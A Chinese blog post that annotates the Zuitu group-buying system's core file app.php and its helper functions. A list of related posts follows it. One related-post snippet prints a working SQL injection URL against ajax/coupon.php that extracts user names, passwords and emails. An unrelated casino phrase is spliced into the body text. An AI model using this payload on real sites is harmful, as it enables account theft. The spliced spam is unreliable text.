最土团购系统全局核心文件app.php介绍

最土团购系统是国内比较常见的团购程序,在国内团购系统份额中所占比例还是比较大的。下面分析一下它的全局核心文件app.php,看看能不能找到一些干货,顺便也籍此开始深入了解下这个开源的团购系统。

注释都写到代码里了,程序用到的自定义函数k7娱乐城也单独地在后面列出,应该是比较好懂的了。

view source

print?

01 <?php
02 require_once(dirname(__FILE__). ‘/include/application.php‘);
03  
04 // 如果magic_quotes_gpc为on则去掉addslash对单引号和双引号及空值反斜杠添加的‘‘
05 /* magic_quota_gpc */
06 $_GET = magic_gpc($_GET);
07 $_POST = magic_gpc($_POST);
08 $_COOKIE = magic_gpc($_COOKIE);
09  
10 // url base64编码为了入库
11 /* process currefer*/
12 $currefer = uencode(strval($_SERVER[‘REQUEST_URI‘]));
13  
14 // 用户session的初始化
15 /* session,cache,configure,webroot register */
16 Session::Init();
17 // 初始化configure目录下的php文件,基本都是第三方支付接口。
18 $INI = ZSystem::GetINI();
19 /* end */
20  
21 /* date_zone */
22 if(function_exists(‘date_default_timezone_set‘)) {
23     date_default_timezone_set($INI[‘system‘][‘timezone‘]);
24 }
25 /* end date_zone */
26  
27  
28 /* biz logic */
29 $currency = $INI[‘system‘][‘currency‘];
30  
31 // 获得用户id
32 $login_user_id = ZLogin::GetLoginId();
33 // 获得用户信息便于之后调用
34 $login_user = Table::Fetch(‘user‘, $login_user_id);
35 // 获得开通的城市
36 $hotcities = option_hotcategory(‘city‘, false, true);
37 // 获得全部设置的城市
38 $allcities = option_category(‘city‘, false, true);
39 // 通过cookie获取城市,cookie没有则通过ip地址获取
40 $city = cookie_city(null);
41  
42 if (!isset($_COOKIE[‘referer‘])) {
43     setcookie(‘referer‘,$_SERVER[‘HTTP_REFERER‘]);
44 }
45  
46 //设置文件不允许访问
47 /* not allow access app.php */
48 if($_SERVER[‘SCRIPT_FILENAME‘]==__FILE__){
49     // 这里似乎只为linux考虑了,windows下的_FILE_为反斜杠没有考虑进去
50     redirect( WEB_ROOT . ‘/index.php‘);
51 }
52 /* end */
53 // js进行ajax请求时发送的参数,以此判断是否是ajax请求。
54 $AJAX = (‘XMLHttpRequest‘ == @$_SERVER[‘HTTP_X_REQUESTED_WITH‘]);
55 if (false==$AJAX) {
56     header(‘Content-Type: text/html; charset=UTF-8‘);
57     run_cron();
58 } else {
59     // 如果是ajax请求,则添加header信息,进行ajax加载前的设置
60     header("Cache-Control: no-store, no-cache, must-revalidate");
61 }
62 ?>

程序中使用到的部分函数解析

magic_gpc():

view source

print?

01 <?php
02     define(‘SYS_MAGICGPC‘, get_magic_quotes_gpc());
03    
04     $_POST = magic_gpc($_POST);
05    
06     function magic_gpc($string) {
07         if(SYS_MAGICGPC) {
08             // 如果magic_quotes_gpc为on则去掉addslash对单引号和双引号及空值反斜杠添加的‘‘
09             if(is_array($string)) {
10                 foreach($string as $key => $val) {
11                     $string[$key] = magic_gpc($val);
12                 }
13             } else {
14                 // 脱去addslash,目的是为了入库前统一操作那样更安全,值得借鉴。
15                 $string = stripslashes($string);
16             }
17         }
18         return $string;
19     }
20 ?>

uencode():

view source

print?

1 function uencode($u) {
2     //放置< >符号单纯base64加密后产生+号这种特殊字符。
3     return base64_encode(urlEncode($u));
4 }
时间: 2024-12-19 10:53:37

最土团购系统全局核心文件app.php介绍的相关文章

php 数组动态添加实现代码(最土团购系统的价格排序)

最近在实现最土团购系统的价格排序功能,需要对$oc数组进行扩展,经过测试用下面的方法即可. 核心代码如下: <?php $now=time(); $oc = array( 'team_type' => 'normal', "begin_time < '{$now}'", "end_time > '{$now}'", ); $p="p2"; $pp1=""; $pp2=""; $now

中国寒龙出品 -最土团购系统通用SQL注入漏洞 WWW.HACKERSCHINA.ORG

基础函数过滤不全导致注射. ajax/coupon.php exp: 1 ajax/coupon.php?action=consume&secret=8&id=2%27)/**/and/**/1=2/**/union/**/select/**/1,2,0,4,5,6,concat(0x31,0x3a,username,0x3a,password,0x3a,email,0x3a),8,9,10,11,9999999999,13,14,15,16/**/from/**/user/**/wher

Mac系统中各个文件夹简单介绍(转)

一.说明: Mac OS X,这是一个基于UNIX核心的系统,增强了系统的稳定性.性能以及响应能力.它能通过对称多处理技术充分发挥双处理器的优势,提供无与伦比的2D.3D和多媒体图形性能以及广泛的字体支持和集成的PDA功能.MAC OSX通过Classic环境几乎可以支持所有的MacOS9应用程序,直观的Aqua用户界面使Mac intosh的易用性又达到了一个全新的水平. 二.MAC硬盘中各个文件夹 打开Macintosh HD你会发现内中有四个文件夹,分别有——应用程序(Applicatio

ShopNC学习笔记二:核心文件及常量介绍

ShopNC商城程序的框架文件主要由类文件和函数文件组成. 系统类库主要存放在framework下的libraries.cache.core和tpl目录中,librarites存放的是一些类库,cache下是存放多种缓存驱动类,core下存放的是核心基类和模型处理类,tpl只存放视图类Tpl. 1)      主要类文件及简要说明 libraries/email.php                 邮件发送类 libraries/ftp.php                    ftp处

Mac之系统中各个文件夹详细介绍

打开Macintosh HD你会发现内中有四个文件夹分别为:应用程序(Applications).系统(System).用户(User).资料库(Library)下面为大家详细介绍下其含义 Mac OS X,这是一个基于UNIX核心的系统,增强了系统的稳定性.性能以及响应能力.它能通过对称多处理技术充分发挥双处理器的优势,提供无与伦比的2D.3D和多媒体图形性能以及广泛的字体支持和集成的PDA功能.MAC OSX通过Classic环境几乎可以支持所有的MacOS9应用程序,直观的Aqua用户界面

金牌导购系统开发app平台

金牌导购系统开发app平台,金牌导购系统定制开发,金牌导购系统软件开发,金牌导购系统开发平台 金牌导购系统开发 金牌导购系统找[帆度]:134-2220-2839(谢凡) 金牌导购系统平台开发 金牌导购系统定制 金牌导购系统平台搭健 金牌导购系统软件开发 金牌导购系统APP开发 在互联网出现之前,人们购物必须到线下门店中去,人需要围绕着门店.围绕着物品开展活动.而互联网出现后,人们不再需要到线下门店完成购物,电商平台.厂商和物流商都在围绕着用户需求进行活动.我们的商业模式由"人围绕着物转&quo

拼多多系统商城模式平台APP开发

拼多多系统商城模式平台APP开发(何 188.264.66502)拼多多成立于2015年9月,是一家专注于C2B拼团的第三方社交电商平台.我们认为移动价值回归商业本质.消费群体经历三个发展阶段,最初是习惯被动接受企业为他推荐的品牌,并接受企业给他提供的标准化的产品体验.到了第二个阶段的时候,消费者开始主动浏览.搜索品牌信息,此时商家对消费者提供更多是差异化的服务体验. 拼多多的模式就像在做游戏--拼团.它的概念是这样的:一个人在拼多多上选择了一件商品,要拉到足够的人购买才能成功,于是他需要分享沟

CentOS系统下各文件夹的作用

linux下的文件结构,看看每个文件夹都是干吗用的: /bin 二进制可执行命令 /dev 设备特殊文件 /etc 系统管理和配置文件 /etc/rc.d 启动的配置文件和脚本 /home 用户主目录的基点,比如用户user的主目录就是/home/user,可以用~user表示 /lib 标准程序设计库,又叫动态链接共享库,作用类似windows里的.dll文件 /sbin 系统管理命令,这里存放的是系统管理员使用的管理程序 /tmp 公用的临时文件存储点 /root 系统管理员的主目录(呵呵,

Android系统的镜像文件的打包过程

在前面一篇文章中,我们分析了Android模块的编译过程.当Android系统的所有模块都编译好之后,我们就可以对编译出来的模块文件进行打包了.打包结果是获得一系列的镜像文件,例如system.img.boot.img.ramdisk.img.userdata.img和recovery.img等.这些镜像文件最终可以烧录到手机上运行.在本文中,我们就详细分析Android系统的镜像文件的打包过程. 老罗的新浪微博:http://weibo.com/shengyangluo,欢迎关注! <Andr